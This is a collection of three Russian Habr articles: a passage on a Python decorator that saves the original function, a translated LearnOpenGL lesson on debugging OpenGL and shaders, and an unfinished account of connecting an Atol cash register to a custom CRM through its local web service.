Упомянутый выше декоратор `@saving_orig` принимает другой декоратор в качестве аргумента. А если он будет параметризован? Поскольку параметризованный декоратор является функцией, которая возвращает настоящий декоратор, то эта ситуация обрабатывается автоматически:
```
import json
from functools import wraps
def saving_orig(another_decorator):
def decorator(f):
decorated = another_decorator(f)
decorated.orig = f
return decorated
return decorator
def ensure_ints(*, default=None):
def decorator(f):
@wraps(f)
def decorated(*args, **kwargs):
result = f(*args, **kwargs)
ints = []
for x in result:
try:
x_int = int(x)
except ValueError:
if default is None:
raise
else:
x_int = default
ints.append(x_int)
return ints
return decorated
return decorator
@saving_orig(ensure_ints(default=0))
def load_data(string):
return json.loads(string)
print(repr(load_data('["2", "3", "A"]')))
print(repr(load_data.orig('["2", "3", "A"]')))
```
Декоратор `@saving_orig` не будет делать то, что мы хотим, если к функции применено несколько декораторов. Тогда для каждого из них придётся вызывать `orig`:
```
import json
from functools import wraps
def saving_orig(another_decorator):
def decorator(f):
decorated = another_decorator(f)
decorated.orig = f
return decorated
return decorator
def ensure_list(f):
...
def ensure_ints(*, default=None):
...
@saving_orig(ensure_ints(default=42))
@saving_orig(ensure_list)
def load_data(string):
return json.loads(string)
for f in (
load_data,
load_data.orig,
load_data.orig.orig,
):
print(repr(f('"X"')))
```
Результат:
```
[42]
['X']
'X'
```
Исправить это можно с помощью поддержки произвольного количества декораторов в качестве аргументов `saving_orig`:
```
def saving_orig(*decorators):
def decorator(f):
decorated = f
for d in reversed(decorators):
decorated = d(decorated)
decorated.orig = f
return decorated
return decorator
...
@saving_orig(
ensure_ints(default=42),
ensure_list,
)
def load_data(string):
return json.loads(string)
for f in (
load_data,
load_data.orig,
):
print(repr(f('"X"')))
```
Результат:
```
[42]
'X'
```
Есть и другое решение: сделать так, чтобы `saving_orig` передавал `orig` из одной декорированной функции в другую:
```
def saving_orig(another_decorator):
def decorator(f):
decorated = another_decorator(f)
if hasattr(f, 'orig'):
decorated.orig = f.orig
else:
decorated.orig = f
return decorated
return decorator
@saving_orig(ensure_ints(default=42))
@saving_orig(ensure_list)
def load_data(string):
return json.loads(string)
```
Когда декоратор становится слишком сложным, то лучше преобразовать его из функции в класс с методом `__call__`:
```
class SavingOrig:
def __init__(self, another_decorator):
self._another = another_decorator
def __call__(self, f):
decorated = self._another(f)
if hasattr(f, 'orig'):
decorated.orig = f.orig
else:
decorated.orig = f
return decorated
saving_orig = SavingOrig
```
Последняя строка позволяет вам именовать класс в Camel-кейсе и сохранить имя декоратора в Snake-кейсе.
Вместо преобразования декорированной функции вы можете создать другой вызываемый класс, и возвращать вместо функции его экземпляры:
```
class CallableWithOrig:
def __init__(self, to_call, orig):
self._to_call = to_call
self._orig = orig
def __call__(self, *args, **kwargs):
return self._to_call(*args, **kwargs)
@property
def orig(self):
if isinstance(self._orig, type(self)):
return self._orig.orig
else:
return self._orig
class SavingOrig:
def __init__(self, another_decorator):
self._another = another_decorator
def __call__(self, f):
return CallableWithOrig(self._another(f), f)
saving_orig = SavingOrig
```
Весь код доступен [здесь](https://repl.it/@VadimPushtaev/orig6) | https://habr.com/ru/post/454646/ | null | ru | null |
# Learn OpenGL. Урок 7.1 – Отладка
 Графическое программирование — не только источник веселья, но еще и фрустрации, когда что-либо не отображается так, как задумывалось, или вообще на экране ничего нет. Видя, что большая часть того, что мы делаем, связана с манипулированием пикселями, может быть трудно выяснить причину ошибки, когда что-то работает не так, как полагается. Отладка такого вида ошибок сложнее, чем отладка ошибок на CPU. У нас нет консоли, в которую мы могли бы вывести текст, мы не можем поставить точку останова в шейдере и мы не можем просто взять и проверить состояние программы на GPU.
В этом уроке мы познакомимся с некоторыми методами и приемами отладки вашей OpenGL-программы. Отладка в OpenGL не так сложна, и изучение некоторых приемов обязательно окупится.
**Содержание****Часть 1. Начало**1. [OpenGL](https://habrahabr.ru/post/310790/)
2. [Создание окна](https://habrahabr.ru/post/311198/)
3. [Hello Window](https://habrahabr.ru/post/311234/)
4. [Hello Triangle](https://habrahabr.ru/post/311808/)
5. [Shaders](https://habrahabr.ru/post/313380/)
6. [Текстуры](https://habrahabr.ru/post/315294/)
7. [Трансформации](https://habrahabr.ru/post/319144/)
8. [Системы координат](https://habrahabr.ru/post/324968/)
9. [Камера](https://habrahabr.ru/post/327604/)
**Часть 2. Базовое освещение**1. [Цвета](https://habrahabr.ru/post/329592/)
2. [Основы освещения](https://habrahabr.ru/post/333932/)
3. [Материалы](https://habrahabr.ru/post/336166/)
4. [Текстурные карты](https://habrahabr.ru/post/337550/)
5. [Источники света](https://habrahabr.ru/post/337642/)
6. [Несколько источников освещения](https://habrahabr.ru/post/338254/)
**Часть 3. Загрузка 3D-моделей**1. [Библиотека Assimp](https://habrahabr.ru/post/338436/)
2. [Класс полигональной сетки Mesh](https://habrahabr.ru/post/338436/)
3. [Класс 3D-модели](https://habrahabr.ru/post/338998/)
**Часть 4. Продвинутые возможности OpenGL**1. [Тест глубины](https://habrahabr.ru/post/342610/)
2. [Тест трафарета](https://habrahabr.ru/post/344238/)
3. [Смешивание цветов](https://habrahabr.ru/post/343096/)
4. [Отсечение граней](https://habrahabr.ru/post/346964/)
5. [Кадровый буфер](https://habrahabr.ru/post/347354/)
6. [Кубические карты](https://habrahabr.ru/post/347750/)
7. [Продвинутая работа с данными](https://habrahabr.ru/post/350008/)
8. [Продвинутый GLSL](https://habrahabr.ru/post/350156/)
9. [Геометрический шейдер](https://habrahabr.ru/post/350782/)
10. [Инстансинг](https://habrahabr.ru/post/352962/)
11. [Сглаживание](https://habrahabr.ru/post/351706/)
**Часть 5. Продвинутое освещение**1. [Продвинутое освещение. Модель Блинна-Фонга](https://habrahabr.ru/post/353054/)
2. [Гамма-коррекция](https://habrahabr.ru/post/353632/)
3. [Карты теней](https://habrahabr.ru/post/353956/)
4. [Всенаправленные карты теней](https://habr.com/post/354208/)
5. [Normal Mapping](https://habr.com/post/415579/)
6. [Parallax Mapping](https://habr.com/post/416163/)
7. [HDR](https://habr.com/post/420409/)
8. [Bloom](https://habr.com/post/420375/)
9. [Отложенный рендеринг](https://habr.com/post/420565/)
10. [SSAO](https://habr.com/post/421385/)
**Часть 6. PBR**1. [Теория](https://habr.com/post/426123/)
2. [Аналитические источники света](https://habr.com/post/424453/)
3. [IBL. Диффузная облученность](https://habr.com/post/426987/)
4. [IBL. Зеркальная облученность](https://habr.com/post/429744/)
**Часть 7. Практика**1. **Отладка**
2. [Отрисовка текста](https://habr.com/post/473990/)
glGetError()
============
Когда вы некорректно используете OpenGL (к примеру, когда настраиваете буфер, забыв его связать (to bind)), OpenGL заметит и создаст один или несколько пользовательских флагов ошибок за кулисами. Мы можем эти ошибки отследить, вызывая функцию `glGetError()`, которая просто проверяет выставленные флаги ошибок и возвращает значение ошибки, если случились ошибки.
```
GLenum glGetError();
```
Эта функция возвращает флаг ошибки или вообще никакую ошибку. Список возвращаемых значений:
| Флаг | Код | Описание |
| --- | --- | --- |
| `GL_NO_ERROR` | 0 | Никакой ошибки не сгенерировано после последнего вызова glGetError |
| `GL_INVALID_ENUM` | 1280 | Установлено, когда параметр перечисления недопустим |
| `GL_INVALID_VALUE` | 1281 | Установлено, когда значение недопустимо |
| `GL_INVALID_OPERATION` | 1282 | Установлено, когда команда с заданными параметрами недопустима |
| `GL_STACK_OVERFLOW` | 1283 | Установлено, когда операция проталкивания данных в стек (push) вызывает переполнение стека. |
| `GL_STACK_UNDERFLOW` | 1284 | Установлено, когда операция выталкивания данных из стека (pop) происходит с наименьшей точки стека. |
| `GL_OUT_OF_MEMORY` | 1285 | Установлено, когда операция выделения памяти не может выделить достаточное количество памяти |
| `GL_INVALID_FRAMEBUFFER_OPERATION` | 1286 | Установлено, когда происходит чтение/запись в/из буфер кадра (framebuffer), который не завершен |
Внутри документации к функциям OpenGL вы можете найти коды ошибок, которые генерируются функциями, некорректно используемыми. К примеру, если вы посмотрите на документацию к функции [`glBindTexture()`](http://docs.gl/gl3/glBindTexture), то вы сможете найти коды ошибок, генерируемые этой функцией, в разделе "Ошибки" (Errors).
Когда флаг ошибки установлен, никаких других флагов ошибки сгенерировано не будет. Более того, когда `glGetError` вызывается, функция стирает все флаги ошибок (или только один на распределенной системе, см. ниже). Это значит, что если вы вызываете `glGetError` один раз после каждого кадра и получаете ошибку, это не значит, что это — единственная ошибка и еще вы не знаете, где произошла эта ошибка.
> Заметьте, что когда OpenGL работает распределенно, как это часто бывает на системах с X11, другие ошибки могут генерироваться, пока у них различные коды. Вызов `glGetError` тогда просто сбрасывает только один из флагов кодов ошибки вместо всех. Из-за этого и рекомендуют вызывать эту функцию в цикле.
```
glBindTexture(GL_TEXTURE_2D, tex);
std::cout << glGetError() << std::endl; // вернет 0 (нет ошибки)
glTexImage2D(GL_TEXTURE_3D, 0, GL_RGB, 512, 512, 0, GL_RGB, GL_UNSIGNED_BYTE, data);
std::cout << glGetError() << std::endl; // вернет 1280 (неверное перечисление)
glGenTextures(-5, textures);
std::cout << glGetError() << std::endl; // вернет 1281 (неверное значение
std::cout << glGetError() << std::endl; // вернет 0 (нет ошибки)
```
Отличительной особенностью `glGetError` является то, что она позволяет относительно легко определить, где может быть любая ошибка, и проверить правильность использования OpenGL. Скажем, что у вас ничего не отрисовывается, и вы не знаете, в чем причина: неправильно установленный кадровый буфер? Забыл установить текстуру? Вызывая `glGetError` везде, вы сможете быстро понять, где возникает первая ошибка.
По умолчанию, `glGetError` сообщает только номер ошибки, который нелегко понять, пока вы не заучиваете номера кодов. Часто имеет смысл написать небольшую функцию, помогающую напечатать строку с ошибкой вместе с местом, откуда вызывается функция.
```
GLenum glCheckError_(const char *file, int line)
{
GLenum errorCode;
while ((errorCode = glGetError()) != GL_NO_ERROR)
{
std::string error;
switch (errorCode)
{
case GL_INVALID_ENUM: error = "INVALID_ENUM"; break;
case GL_INVALID_VALUE: error = "INVALID_VALUE"; break;
case GL_INVALID_OPERATION: error = "INVALID_OPERATION"; break;
case GL_STACK_OVERFLOW: error = "STACK_OVERFLOW"; break;
case GL_STACK_UNDERFLOW: error = "STACK_UNDERFLOW"; break;
case GL_OUT_OF_MEMORY: error = "OUT_OF_MEMORY"; break;
case GL_INVALID_FRAMEBUFFER_OPERATION: error = "INVALID_FRAMEBUFFER_OPERATION"; break;
}
std::cout << error << " | " << file << " (" << line << ")" << std::endl;
}
return errorCode;
}
#define glCheckError() glCheckError_(__FILE__, __LINE__)
```
Если вы решите сделать больше вызовов `glCheckError`, будет полезно знать в каком месте произошла ошибка.
```
glBindBuffer(GL_VERTEX_ARRAY, vbo);
glCheckError();
```
Вывод:
Осталась одна важная вещь: в GLEW есть давний баг: `glewInit()` всегда выставляет флаг `GL_INVALID_ENUM`. Чтобы это исправить, просто вызывайте `glGetError` после `glewInit` чтобы сбросить флаг:
```
glewInit();
glGetError();
```
`glGetError` не сильно помогает, поскольку возвращаемая информация относительно проста, но часто помогает отловить опечатки или отловить место возникновения ошибки. Это простой, но эффективный инструмент для отладки.
Отладочный вывод
================
Инструмент менее известный, но полезнее, чем `glCheckError` — расширение OpenGL "debug output" (Отладочный вывод), вошедшее в OpenGL 4.3 Core Profile. С этим расширением OpenGL отошлет сообщение об ошибке пользователю с деталями ошибки. Это расширение не только выдает больше информации, но и позволяет отловить ошибки там, где они возникают, используя отладчик.
> Отладочный вывод входит в OpenGL начиная с версии 4.3, что означает, что вы найдете эту функциональность на любой машине, поддерживающей OpenGL 4.3 и выше. Если такая версия недоступна, то можно проверить расширения `ARB_debug_output` и `AMD_debug_output`. Также есть непроверенная информация о том, что отладочный вывод не поддерживается на OS X (автор оригинала и переводчик не тестировали, прошу сообщать автору оригинала или мне в личные сообщения через механизм исправления ошибок, если найдете подтверждение или опровержение данного факта; **UPD:** [Jeka178RUS](https://habr.com/ru/users/jeka178rus/) проверил этот факт: из коробки отладочный вывод не работает, через расширения он не проверял).
Чтобы начать использовать отладочный вывод, нам надо у OpenGL запросить отладочный контекст во время инициализационного процесса. Этот процесс отличается на разных оконных системах, но здесь мы обсудим только GLFW, но в конце статьи в разделе "Дополнительные материалы" вы можете найти информацию насчет других оконных систем.
#### Отладочный вывод в GLFW
Запросить отладочный контекст в GLFW на удивление просто: нужно всего лишь дать подсказку GLFW, что мы хотим контекст с поддержкой отладочного вывода. Нам надо сделать это до вызова `glfwCreateWindow`:
```
glfwWindowHint(GLFW_OPENGL_DEBUG_CONTEXT, GL_TRUE);
```
Как только мы проинициализировали GLFW, у нас должен появиться отладочный контекст, если мы используем OpenGL 4.3 или выше, иначе нам надо попытать удачу и надеяться на то, что система все еще может создать отладочный контекст. В случае неудачи нам надо запросить отладочный вывод через механизм расширений OpenGL.
> Отладочный контекст OpenGL бывает медленнее, чем обычный, так что во время работ над оптимизациями или перед релизом следует убрать или закомментировать эту строчку.
Чтобы проверить результат инициализации отладочного контекста, достаточно выполнить следующий код:
```
GLint flags; glGetIntegerv(GL_CONTEXT_FLAGS, &flags);
if (flags & GL_CONTEXT_FLAG_DEBUG_BIT)
{
// успешно
}
else
{
// не получилось
}
```
Как работает отладочный вывод? Мы передаем callback-функцию обработчик сообщений в OpenGL (похоже на callback'и в GLFW) и в этой функции мы можем обрабатывать данные OpenGL как нам угодно, в нашем случае — отправка полезных сообщений об ошибках на консоль. Прототип этой функции:
```
void APIENTRY glDebugOutput(GLenum source, GLenum type, GLuint id, GLenum severity,
GLsizei length, const GLchar *message, void *userParam);
```
Заметьте, что на некоторых операционных системах тип последнего параметра может быть `const void*`.
Учитывая большой набор данных, которыми мы располагаем, мы можем создать полезный инструмент печати ошибок, как показано ниже:
```
void APIENTRY glDebugOutput(GLenum source,
GLenum type,
GLuint id,
GLenum severity,
GLsizei length,
const GLchar *message,
void *userParam)
{
// ignore non-significant error/warning codes
if(id == 131169 || id == 131185 || id == 131218 || id == 131204) return;
std::cout << "---------------" << std::endl;
std::cout << "Debug message (" << id << "): " << message << std::endl;
switch (source)
{
case GL_DEBUG_SOURCE_API: std::cout << "Source: API"; break;
case GL_DEBUG_SOURCE_WINDOW_SYSTEM: std::cout << "Source: Window System"; break;
case GL_DEBUG_SOURCE_SHADER_COMPILER: std::cout << "Source: Shader Compiler"; break;
case GL_DEBUG_SOURCE_THIRD_PARTY: std::cout << "Source: Third Party"; break;
case GL_DEBUG_SOURCE_APPLICATION: std::cout << "Source: Application"; break;
case GL_DEBUG_SOURCE_OTHER: std::cout << "Source: Other"; break;
} std::cout << std::endl;
switch (type)
{
case GL_DEBUG_TYPE_ERROR: std::cout << "Type: Error"; break;
case GL_DEBUG_TYPE_DEPRECATED_BEHAVIOR: std::cout << "Type: Deprecated Behaviour"; break;
case GL_DEBUG_TYPE_UNDEFINED_BEHAVIOR: std::cout << "Type: Undefined Behaviour"; break;
case GL_DEBUG_TYPE_PORTABILITY: std::cout << "Type: Portability"; break;
case GL_DEBUG_TYPE_PERFORMANCE: std::cout << "Type: Performance"; break;
case GL_DEBUG_TYPE_MARKER: std::cout << "Type: Marker"; break;
case GL_DEBUG_TYPE_PUSH_GROUP: std::cout << "Type: Push Group"; break;
case GL_DEBUG_TYPE_POP_GROUP: std::cout << "Type: Pop Group"; break;
case GL_DEBUG_TYPE_OTHER: std::cout << "Type: Other"; break;
} std::cout << std::endl;
switch (severity)
{
case GL_DEBUG_SEVERITY_HIGH: std::cout << "Severity: high"; break;
case GL_DEBUG_SEVERITY_MEDIUM: std::cout << "Severity: medium"; break;
case GL_DEBUG_SEVERITY_LOW: std::cout << "Severity: low"; break;
case GL_DEBUG_SEVERITY_NOTIFICATION: std::cout << "Severity: notification"; break;
} std::cout << std::endl;
std::cout << std::endl;
}
```
Когда расширение определяет ошибку OpenGL, оно вызовет эту функцию и мы сможем печатать огромное количество информации об ошибке. Заметьте, мы проигнорировали некоторые ошибки, так как они бесполезны (к примеру, 131185 в драйверах NVidia говорит о том, что буфер успешно создан).
Теперь, когда у нас есть нужный callback, самое время инициализировать отладочный вывод:
```
if (flags & GL_CONTEXT_FLAG_DEBUG_BIT)
{
glEnable(GL_DEBUG_OUTPUT);
glEnable(GL_DEBUG_OUTPUT_SYNCHRONOUS);
glDebugMessageCallback(glDebugOutput, nullptr);
glDebugMessageControl(GL_DONT_CARE, GL_DONT_CARE, GL_DONT_CARE, 0, nullptr, GL_TRUE);
}
```
Так мы сообщаем OpenGL, что хотим включить отладочный вывод. Вызов `glEnable(GL_DEBUG_SYNCRHONOUS)` говорит OpenGL, что мы хотим сообщение об ошибке в тот момент, когда только она произошла.
#### Фильтрация отладочного вывода
С функцией `glDebugMessageControl` вы можете выбрать типы ошибок, которые хотите получать. В нашем случае мы получаем все виды ошибок. Если бы мы хотели только ошибки OpenGL API, типа Error и уровня значимости High, мы бы написали следующий код:
```
glDebugMessageControl(GL_DEBUG_SOURCE_API,
GL_DEBUG_TYPE_ERROR,
GL_DEBUG_SEVERITY_HIGH,
0, nullptr, GL_TRUE);
```
С такой конфигурацией и отладочным контекстом каждая неверная команда OpenGL будет отправлять много полезной информации:
#### Находим источник ошибки через стек вызовов
Еще один трюк с отладочным выводом заключается в том, что вы можете относительно просто установить точное место возникновения ошибки в вашем коде. Устанавливая точку останова в функции `DebugOutput` на нужном типе ошибки (или в начале функции если вы хотите отловить все ошибки) отладчик отловит ошибку и вы сможете переместиться по стеку вызовов, чтобы узнать, где произошла ошибка:
Это требует некоторого ручного вмешательства, но если вы примерно знаете, что ищете, невероятно полезно быстро определить, какой вызов вызывает ошибку.
#### Свои ошибки
Наряду с чтением ошибок, мы можем их посылать в систему отладочного вывода с помощью `glDebugMessageInsert`:
```
glDebugMessageInsert(GL_DEBUG_SOURCE_APPLICATION, GL_DEBUG_TYPE_ERROR, 0,
GL_DEBUG_SEVERITY_MEDIUM, -1, "error message here");
```
Это очень полезно, если вы подключаетесь к другому приложению или к коду OpenGL, который использует отладочный контекст. Другие разработчики смогут быстро выяснить любую сообщенную ошибку, которая происходит в вашем пользовательском коде OpenGL.
В общем, отладочный вывод (если доступен) очень полезен для быстрого отлова ошибок и определенно стоит потраченных усилий на настройку, так как экономит значительное время разработки. Вы можете найти копию исходного кода [здесь](https://learnopengl.com/code_viewer_gh.php?code=src/7.in_practice/1.debugging/debugging.cpp) с использованием `glGetError` и отладочного вывода. Есть ошибки, попробуйте их исправить.
Отладочный вывод шейдера
========================
Когда дело доходит до GLSL, у нас нет доступа к функции типа `glGetError` или возможности пройтись по коду по шагам в отладчике. Когда вы встречаетесь с черным экраном или совершенно неправильным отображением, бывает очень сложно понять, что происходит, если проблема в шейдере. Да, ошибки компиляции сообщают о синтаксических ошибках, но отлов семантических ошибок — та еще песня.
Один из часто используемых приемов для выяснения того, что не так с шейдером, состоит в том, чтобы отправить все соответствующие переменные в шейдерной программе непосредственно в выходной канал фрагментного шейдера. Выводя шейдерные переменные напрямую в выходной канал с цветом мы можем узнать интересную информацию проверяя картинку на выходе. К примеру, нам надо узнать, правильные ли нормали у модели. Мы можем отправить их (трансформированными или нет) из вершинного в фрагментный шейдер, где мы выведем нормали как-то так:
(прим. пер: почему нет подсветки синтаксиса GLSL?)
```
#version 330 core
out vec4 FragColor;
in vec3 Normal;
[...]
void main()
{
[...]
FragColor.rgb = Normal;
FragColor.a = 1.0f;
}
```
Выводя нецветовую переменную в выходной канал с цветом как сейчас, мы можем быстро проверить значение переменной. Если, к примеру, результатом стал черный экран, то ясно, что нормали неправильно переданы в шейдеры, а когда они отображаются, сравнительно легко проверить их на правильность:
Из визуальных результатов мы можем видеть, что нормали верны, так как правая сторона костюма преимущественно красная (что говорит, что нормали примерно показывают в направлении полощительной оси x) и также передняя сторона костюма окрашена в направлении положительной оси z (в синий цвет).
Этот подход можно расширить на любую переменную, которую вы хотите протестировать. Каждый раз, когда вы застряли и предполагаете, что ошибка в шейдерах, попробуйте отрисовывать несколько переменных или промежуточных результатов и выяснить, в какой части алгоритма есть ошибка.
OpenGL GLSL reference compiler
==============================
В каждом видеодрайвере свои причуды. К примеру, драйвера NVIDIA немного смягчают требования спецификации, а драйвера AMD лучше соответствую спецификациям (что лучше, как мне кажется). Проблема в том, что шейдеры работающие на одной машине, могут не заработать на другой из-за отличий в драйверах.
За несколько лет опыта вы могли выучить все отличия между различными GPU, но если вы хотите быть уверены в том, что ваши шейдеры будут работать везде, то вы можете сверить ваш код с официальной спецификацией с помощью [GLSL reference compiler](https://www.khronos.org/opengles/sdk/tools/Reference-Compiler/). Вы можете скачать так называемый *GLSL lang validator* [тут](https://www.khronos.org/opengles/sdk/tools/Reference-Compiler/) ([исходник](https://github.com/KhronosGroup/glslang)).
С этой программой вы можете проверить свои шейдеры, передавая их как 1-й аргумент к программе. Помните, что программа определяет тип шейдера по расширению:
* `.vert`: вершинный шейдер
* `.frag`: фрагментный шейдер
* `.geom`: геометрический шейдер
* `.tesc`: тесселяционный контролирующий шейдер
* `.tese`: тесселяционный вычислительный шейдер
* `.comp`: вычислительный шейдер
Запустить программу легко:
```
glslangValidator shader.vert
```
Заметьте, что если нет ошибок, то программа ничего не выведет. На сломанном вершинном шейдере вывод будет похож на:
Программа не покажет различий между компиляторами GLSL от AMD, NVidia или Intel, и даже не может сообщить обо всех багах в шейдере, но он хотя бы проверяет шейдеры на соответствие стандартам.
Вывод буфера кадра
==================
Еще один метод для вашего инструментария — отобразить содержимое кадрового буфера в определенной части экрана. Скорее всего, вы часто используете кадровые буферы и, поскольку вся магия происходит за кадром, бывает трудно определить, что происходит. Вывод содержимого кадрового буфера — полезный прием, чтобы проверить правильность вещей.
> Заметьте, что содержимое кадрового буфера, как тут объясняется, работает с текстурами, а не с объектами буферов отрисовки
Используя простой шейдер, который отрисовывает одну текстуру, мы можем написать небольшую функцию, быстро отрисовывающую любую текстуру в правом верхнем углу экрана:
```
// vertex shader
#version 330 core
layout (location = 0) in vec2 position;
layout (location = 1) in vec2 texCoords;
out vec2 TexCoords;
void main()
{
gl_Position = vec4(position, 0.0f, 1.0f);
TexCoords = texCoords;
}
```
```
//fragment shader
#version 330 core
out vec4 FragColor;
in vec2 TexCoords;
uniform sampler2D fboAttachment;
void main()
{
FragColor = texture(fboAttachment, TexCoords);
}
```
```
//main.cpp
void DisplayFramebufferTexture(GLuint textureID)
{
if(!notInitialized)
{
// initialize shader and vao w/ NDC vertex coordinates at top-right of the screen
[...]
}
glActiveTexture(GL_TEXTURE0);
glUseProgram(shaderDisplayFBOOutput);
glBindTexture(GL_TEXTURE_2D, textureID);
glBindVertexArray(vaoDebugTexturedRect);
glDrawArrays(GL_TRIANGLES, 0, 6);
glBindVertexArray(0);
glUseProgram(0);
}
int main()
{
[...]
while (!glfwWindowShouldClose(window))
{
[...]
DisplayFramebufferTexture(fboAttachment0);
glfwSwapBuffers(window);
}
}
```
Это даст вам небольшое окошко в углу экрана для отладочного вывода кадрового буфера. Полезно, к примеру, когда пытаешься проверить корректность нормалей:
Вы также можете расширить эту функцию так, чтобы она отрисовывала больше 1 текстуры. Это быстрый путь получить непрерывную отдачу от чего угодно в кадровых буферах.
Внешние программы-отладчики
===========================
Когда ничего не помогает, есть еще один прием: воспользоваться сторонними программами. Они встраиваются в драйвера OpenGL и могут перехватывать все вызовы OpenGL, чтобы дать вам очень много интересных данных о вашем приложении. Эти приложения могут профилировать использование функций OpenGL, искать узкие места, наблюдать за кадровыми буферами, текстурами и памятью. Во время работы над (большим) кодом, эти инструменты могут стать бесценными.
Я перечислил несколько популярных инструментов. Попробуйте каждый и выберите тот, который лучше всего вам подходит.
#### RenderDoc
RenderDoc — хороший (полностью [опенсорсный](https://github.com/baldurk/renderdoc)) отдельный отладочный инструмент. Чтобы начать захват, выберите исполняемый файл и рабочую папку (working directory). Ваше приложение работает как обычно, и когда вы хотите понаблюдать за отдельным кадром, вы позволяете RenderDoc снять несколько кадров вашего приложения. Среди захваченных кадров вы можете просмотреть состояние конвейера, все команды OpenGL, хранилище буферов и используемые текстуры.
#### CodeXL
[CodeXL](https://gpuopen.com/compute-product/codexl/) — инструмент отладки GPU, работает как отдельное приложение и плагин к Visual Studio. CodeXL Дает много информации и отлично подходит для профилирования графических приложений. CodeXL также работает на видеокартах от NVidia и Intel, но без поддержки отладки OpenCL.
Я не так много использовал CodeXL, поскольку RenderDoc мне показался проще, но я включил CodeXL в этот список, потому что он выглядит довольно надежным инструментом и в основном разработан одним из крупных производителей графических процессоров.
#### NVIDIA Nsight
[Nsight](https://developer.nvidia.com/nsight-visual-studio-edition) — популярный инструмент отладки GPU от NUIDIA. Является не только плагином к Visual Studio и Eclipse, но еще и [отдельное приложение](https://developer.nvidia.com/nsight-graphics). Плагин Nsight — очень полезная вещь для графических разработчиков, поскольку собирает много статистик в реальном времени относительно использования GPU и покадрового состояния GPU.
В тот момент, когда вы запускаете свое приложение через Visual Studio или Eclipse с помощью команд отладки или профилирования Nsight, он запустится сам внутри приложения. Хорошая вещь в Nsight: рендер ГИП-системы (GUI, графический интерфейс пользователя) поверх запускаемого приложения, которую можно использовать для собирания информации всех видов о вашем приложении в реальном времени или покадровом анализе.
Nsight — очень полезный инструмент, который, по моему мнению, превосходит вышеперечисленные инструменты, но имеет один серьезный недостаток: работает *только* на видеокартах от NVIDIA. Если вы работаете на видеокартах от NVIDIA и используете Visual Studio — определенно стоит попробовать Nsight.
Я уверен, что есть еще инструменты для отладки графических приложений (к примеру, [VOGL](https://github.com/ValveSoftware/vogl) и [APItrace](https://apitrace.github.io)), но я считаю, что этот список уже предоставил вам достаточно инструментов для экспериментов. Я не эксперт в вышеупомянутых инструментах, так что если есть ошибки, то пишите мне (переводчику) в личные сообщения и в комментарии к оригинальной статье (если конечно же, там еще осталась эта ошибка).
Дополнительные материалы
========================
* [Почему я вижу черный экран?](http://retokoradi.com/2014/04/21/opengl-why-is-your-code-producing-a-black-window/) — список возможных случаев появления черного экрана вместо нужной картинки от Reto Koradi.
* [Отладочный вывод](http://web.archive.org/web/20150225171555/http://vallentinsource.com/opengl/debug-output) — обширный список методов настройки отладочного контекста в разных оконных менеджерах от Vallentin Source.
**P.S.**: У нас есть [телеграм-конфа](https://t.me/joinchat/Cpb05A46UPpMWdNVVCb4Vg) для координации переводов. Если есть серьезное желание помогать с переводом, то милости просим! | https://habr.com/ru/post/462897/ | null | ru | null |
# Опыт интеграции онлайн кассы Атол с собственной торговой CRM
Вокруг онлайн касс в последнее время дикий ажиотаж, 1 июля 2019 заканчивается последняя отсрочка, поэтому и мне пришлось заняться этим вопросом. Тем, у кого 1С или другая система особо можно не напрягаться, но если у вас собственная самописная система, то на ваши плечи ложится еще и интеграция с онлайн-кассами.
Мой опыт пригодится для интеграции с кассами Атол в режиме обмена данными по сети, ваша программа может отправлять данные на web-сервер Атол как на локалхост, так и по локальной сети, можно хоть из браузера AJAX отправлять, хоть с сервера через CURL, поэтому, неважно на каком языке написан ваш корпоративный софт, всё кроссплатформенно.
Мне на опыты попалась касса Атол 30ф — это такая простая печатная машинка с черным ящиком (ФН), так раз подходит, когда вся логика по составлению заказов лежит на внешнем софте, а не на софте, встроенном в кассу. К тому же, аппараты такого типа относительно недорогие, по сравнению с андроидными аналогами.
Отдельно хочу заметить, что «специалисты» некоторых компаний, занимающиеся поддержкой вообще не в курсе, что у Атол с 10й версии есть встроенный веб-сервер в драйвере, который принимает JSON-задания, более того, этот драйвер можно установить и на linux, судя по количеству готовых решений на малинках, могу предположить что там тоже можно установить, в дистрибутиве 10й версии драйвера установщик для arm присутствует.
Планируемая схема примерно такая — есть CRM, которая крутится на сервере в локальной сети, ее открывают из браузеров, с серверной стороны на PHP через curl будут отправляться чеки и печататься на кассе. А сама касса подключена к любому компу на Windows в этой же сети.
Говорят что если не активировать кассу, то она может работать в режиме принтера и печатать что чек недействительный, но мне это проверить не удалось, пришлось делать копеечные операции продажи и возврата.
Драйвер десятой версии скачиваем вот [тут](https://www.atol.ru/company/service-support/dkkt10-platforma5/).
Перед установкой нужно установить [Java](https://java.com/ru/download/manual.jsp) той же разрядности, что и драйвер, иначе галочка web-сервер не будет доступна, если устанавливаете 64 битный драйвер ККТ, то и Java x64.
Вроде бы по логике нужно на 64 битную систему ставить 64 битный драйвер, но некоторый софт 32 битный не сможет с ним работать (вроде и к 1С такое относится, если она 32 битная).
В конце установки есть галочка — конфигурировать веб-сервер, если ее не поставили, то надо зайти в браузере на [127.0.0.1](http://127.0.0.1):16732/settings, поставить галочку «активировать сервер» и сохранить.
После этого нужно перезагрузить сервер через ПУСК->АТОЛ->перезапустить…
Еще сразу хочу предупредить, если запустить веб-сервер, то локальные приложения не смогут получить доступ к ККТ, я долго маялся, установил драйвер, запустил тест драйвера ккт, а он мне говорит что порт занят и всё, звонил в техподдержку местного продавца, там сказали не знаем что делать, потом десять раз перегружал комп, переустанавливал драйвер, ничего не помогает.
В общем, после того, как вы активировали и перезапустили сервер, а перед этим выключили сервер и проверили через поставляемую утилиту печать простого текста или просто проверили связь — можно приступать.
Этот веб-сервис не имеет никакой защиты по паролю, поэтому нужно сразу настроить брандмауэр Windows или другой софт, чтобы по порту 16732 могли обращаться только нужные компы, в моей ситуации это сервер на котором крутится CRM.
**Общение с веб-сервисом вообще отдельная тема, очень интересная...**
1. Генерируем уникальный uuid для задания
2. Отправляем задание методом POST
3. Долбимся на веб-сервис, ожидая результата задания с нашим UUID, может быть так, что несколько секунд у нашего задания будет висеть статус wait, а может возникнуть error, если в запросе что-то не так сформировали...
